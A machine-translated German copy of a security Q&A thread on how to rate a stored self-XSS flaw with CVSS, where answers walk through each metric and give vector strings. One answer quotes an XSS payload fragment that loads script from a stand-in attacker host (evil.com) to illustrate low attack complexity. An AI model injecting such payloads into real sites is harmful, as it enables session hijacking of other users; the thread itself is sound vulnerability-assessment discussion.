it-swarm.com.de

CVSS-Score für Self-XSS (gespeichertes XSS)

Ich habe eine Webanwendung, die für gespeicherte Self-XSS-Angriffe anfällig ist. Die richtige Codierung wird nicht durchgeführt. An der Stelle, an der die Daten aus einer Datenbank (vom selben Benutzer festgelegt) zur Antwort hinzugefügt werden.

Dieses XSS kann jedoch unter folgenden Bedingungen als nicht selbst-XSS (gespeichertes XSS) betrachtet werden:

  • Der Administrator fügt dem Benutzerprofil schädliche Inhalte hinzu.
  • Wenn jemand die Datenbank auf andere Weise ändern kann.
  • Auch wenn jemand die Cookies eines Benutzers stehlen kann (Session Hijacking).

Bei der Berechnung des CVSS-Scores haben wir folgende Bedenken:

  • Müssen wir davon ausgehen, dass die schädlichen Daten bereits in der Datenbank gespeichert sind oder nicht?
  • Wenn wir dies annehmen, steigt der CVSS-Score, da die Komplexität des Abrufens der XSS-Nutzdaten in die Datenbank nicht berücksichtigt wird.
  • Wenn nicht, verringert sich der CVSS-Score aufgrund der Komplexität sowie der hohen Berechtigungen, die für die Ausführung eines gespeicherten XSS-Angriffs erforderlich sind (ohne nur ein Self-XSS zu sein).

Was ist die gängige Praxis für diese Art von Szenario bei der Berechnung des CVSS-Scores?

4
NShani

In diesen beiden Szenarien:

  • Wenn jemand die Datenbank auf andere Weise ändern kann.
  • Auch wenn jemand die Cookies eines Benutzers stehlen kann (Session Hijacking).

Ein Angreifer hätte bereits Zugriff auf die Sitzung des Benutzers. Sie müssten eine Sicherheitsanfälligkeit ausnutzen, um an diesen Punkt zu gelangen. Zu diesem Zeitpunkt ist die Sitzung jedoch bereits gefährdet, sodass keine zusätzlichen Auswirkungen auftreten.

Dieses Szenario:

  • Der Administrator fügt dem Benutzerprofil schädliche Inhalte hinzu.

Hängt ein wenig vom Systemdesign ab, aber die meisten Systeme ermöglichen Administratoren den Zugriff auf Benutzerprofile, z. B. durch Zurücksetzen des Kennworts. In den meisten Systemen ist die zusätzliche Auswirkung hier also nicht.

Wenn Sie einen CVSS v3-Rechner verwenden und die CIA-Auswirkungen auf "Keine" setzen, spielt es keine Rolle, wie Sie die anderen Werte festlegen. Die Ausgabe ist 0.0. Aus diesem Grund wird Self-XSS normalerweise nur als bewährte Methode und nicht als Sicherheitslücke angesehen.

Eine Sache, die Sie beachten sollten, ist CSRF. Wenn der Self-XSS-Injektionspunkt für CSRF anfällig ist, handelt es sich um eine Sicherheitsanfälligkeit.

3
paj28

• Der Administrator fügt dem Benutzerprofil schädliche Inhalte hinzu.

Abhängig von der bereits vorhandenen Leistung, über die ein Administrator verfügt, wenn er ein XSS-Gadget hinzufügt, erhält er möglicherweise nicht mehr Berechtigungen, sodass Integrität und Vertraulichkeit bestenfalls gering sind.

• Wenn jemand die Datenbank auf andere Weise ändern kann.

Das ist ähnlich oder noch extremer, die Person, die die Datenbank ändern kann, hat normalerweise bereits alle Berechtigungen.

• Auch wenn jemand die Cookies eines Benutzers stehlen kann (Sitzungsentführung).

Es ist ein Vertraulichkeits- und (falls ausnutzbar) auch Integritätsrisiko. Es hängt jedoch davon ab, wer jemand ist und welche Privilegien er hatte (d. H. Anders als die beiden oben genannten Gruppen).

In der Regel ist die kritischste Situation für dauerhaftes XSS, wenn ein normaler Benutzer einen Administrator dazu verleiten kann, den schädlichen Inhalt zu besuchen, wodurch eine Verwaltungssitzung extrahiert (und verwendet) wird. Der zweithäufigste Schweregrad ist, wenn eine Verwendung einen anderen nicht privilegierten Benutzer auf diese Weise entführen kann. Während es üblich ist, Administratoren zu ignorieren (nachdem sie den HTML-Code direkt bearbeiten können), hängt dies von den Berechtigungen ab, die Sie ihnen gewähren möchten. Self-XSS kann auch ein Problem sein, wenn Sie den Benutzer (CSRF) dazu verleiten können, die schädlichen Nutzdaten hinzuzufügen (was bei reflektiertem XSS üblich ist).

• Müssen wir davon ausgehen, dass die schädlichen Daten bereits in der Datenbank gespeichert sind oder nicht?

Im Allgemeinen gehen Sie davon aus, dass der Schaden ja angerichtet wurde. In Ihrem speziellen Fall (admin oder dba) können Sie dies jedoch möglicherweise überhaupt nicht als eine Erhöhung der Privilegien betrachten.

• Wenn wir dies annehmen, steigt der CVSS-Score, da die Komplexität des Abrufens der XSS-Nutzdaten in die Datenbank nicht berücksichtigt wird.

Der Angriff bringt den Inhalt dorthin, das beschreibt die Komplexität. Es wäre für einen Administrator oder eine Datenbank niedrig, wenn sie es nur eingeben müssten (Kenntnisse über die dB-Struktur müssen gemäß der CVSS-Spezifikation vorausgesetzt werden).

1
eckes

Die Frage enthält tatsächlich zwei Szenarien: Ein Benutzer mit geringen Berechtigungen, der sich selbst XSS-fähig macht, und ein Benutzer mit hohen Berechtigungen, der einen Benutzer mit niedrigen Berechtigungen XSS-fähig macht.

Low-Privilege "Selbst-XSS"

Self-XSS wird oft als "kein Problem" angesehen, obwohl dies kurzsichtig ist. Obwohl dies offensichtlich kein Problem darstellt, wissen Sie nie, ob sich die Anforderungen ändern.

Wenn der Benutzer beispielsweise ein XSS in seinem eigenen Profil erstellen kann, das nur für ihn sichtbar ist, denken Sie möglicherweise, dass dies kein Problem ist. Ein Jahr später wird eine Funktionalität implementiert, mit der Administratoren ein Profil anzeigen können, und plötzlich haben Sie ein XSS, das Sitzungstoken von Administratorkonten stiehlt.

Um den CVSS-Score zu bewerten, analysieren wir jede Kategorie:

  • Angriffsvektor (AV): Dies ist zweifellos "Netzwerk (N)". Der Angreifer muss dazu keinen direkten Serverzugriff haben.
  • Angriffskomplexität (AC): Dies hängt von Ihrem spezifischen Szenario ab, aber normalerweise ist die Komplexität eher gering. Zitieren:

    Spezielle Zugangsbedingungen oder mildernde Umstände liegen nicht vor. Ein Angreifer kann wiederholbaren Erfolg gegen die anfällige Komponente erwarten.

    Mit anderen Worten, wenn der Angreifer "><script src="//evil.com/payload.js, dann wird die Nutzlast jedes Mal injiziert.

  • Erforderliche Berechtigungen (PR): Dieser Teil wird häufig diskutiert. Wenn ein Angreifer ein Benutzerkonto benötigt, aber alles, was er tun muss, um ein Benutzerkonto zu erhalten, ist, ein Konto zu erstellen, verringert dies dann wirklich die Metrik? Einige Leute sagen, dass PR die Berechtigungen beschreibt, die sie vom Verteidiger erhalten müssen, indem sie entweder Anmeldeinformationen stehlen oder eine Sicherheitsanfälligkeit ausnutzen, um Aktionen als privilegierter Benutzer auszuführen. Andere sagen, dass es nur um die Tatsache geht, dass ein Benutzer Berechtigungen benötigt, unabhängig davon, ob diese Berechtigungen leicht zu erhalten sind oder nicht.

    Ich persönlich gehöre zur ersteren Kategorie, daher würde ich dies als "Keine (N)" bewerten, obwohl ich Leute verstehe, die dies als "Niedrig (L)" argumentieren. Beachten Sie, dass ich auch zu diesem Thema eine Frage erstellt habe .

  • Benutzerinteraktion (UI): Ja, der Administrator muss das Profil des Angreifers besuchen, damit der Angriff erfolgreich ist.

  • Bereich (e): In diesem Fall hat sich der Bereich geändert, da die anfällige Komponente der Webserver ist, während die betroffene Komponente der Browser des Opfers ist. Diese Argumentation stammt aus dem CVSS v3.0 Beispiel .

  • Vertraulichkeit (C): Auch dies hängt davon ab, wie Sie es sehen. Ich persönlich würde argumentieren, dass der Verlust der Vertraulichkeit "Hoch (H)" ist, da der Zugriff auf das Sitzungstoken eines Administrators ein schwerwiegender Verstoß ist.

  • Integrität (I): Ich persönlich würde argumentieren, dass die Auswirkung "gering (L)" ist. Während der Angreifer tatsächlich seine Nutzdaten verwenden kann, um die Site zu ändern, ist dies normalerweise nicht das Ziel eines XSS-Angriffs.

  • Verfügbarkeit (A): Auch hier würde ich argumentieren, dies auf "Niedrig (L)" zu setzen. Ein Angreifer könnte eine Nutzlast erstellen, die den Benutzer immer wieder von der Site wegleitet und so die Verfügbarkeit beeinträchtigt. Dies ist jedoch normalerweise nicht das Ziel.

Wenn wir all dies addieren, erhalten wir die folgende Vektorzeichenfolge:

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L - 8,8 (hoch)

High-Privilege XSS

Anstatt davon auszugehen, dass ein Benutzer sein eigenes Profil "abfängt", nehmen wir stattdessen an, dass ein Administrator die Profile jedes Benutzers ändert. Wenn also ein Benutzer sein eigenes Profil betrachtet, wird die Nutzlast ausgelöst.

Das einzige, was sich wirklich ändern würde, sind Erforderliche Berechtigungen (PR) , die auf "Hoch (H)" gesetzt würden.

Dies würde zu folgendem Vektor führen:

CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L - 7,5 (hoch)

Wenn Sie sich diese Ergebnisse ansehen, können Sie sehen, dass CVSS die Wahrscheinlichkeiten nicht berücksichtigt, die einige als Fehler betrachten könnten, aber dies ist für diese Frage nicht möglich.


Um nun einige Ihrer Fragen zu beantworten:

  • Müssen wir davon ausgehen, dass die schädlichen Daten bereits in der Datenbank gespeichert sind oder nicht?

    CVSS fragt Sie nicht, wo Daten gespeichert sind. Dies hat keinen Einfluss auf die Punktzahl.

  • Wenn wir dies annehmen, steigt der CVSS-Score, da die Komplexität des Abrufens der XSS-Nutzdaten in die Datenbank nicht berücksichtigt wird.

    Auch hier hängt die Punktzahl von den gewählten Vektoren ab. Nichts davon betrifft den Speicherort der Daten.

  • Wenn nicht, verringert sich der CVSS-Score aufgrund der Komplexität sowie der hohen Berechtigungen, die für die Ausführung eines gespeicherten XSS-Angriffs erforderlich sind (ohne nur ein Self-XSS zu sein).

    Hohe erforderliche Privilegien verringern Ihre Punktzahl, aber nicht so sehr. Selbst wenn ein Administratorkonto erforderlich ist, wird eine einfache XSS-Sicherheitsanfälligkeit als 7.5 angesehen.

1
MechMK1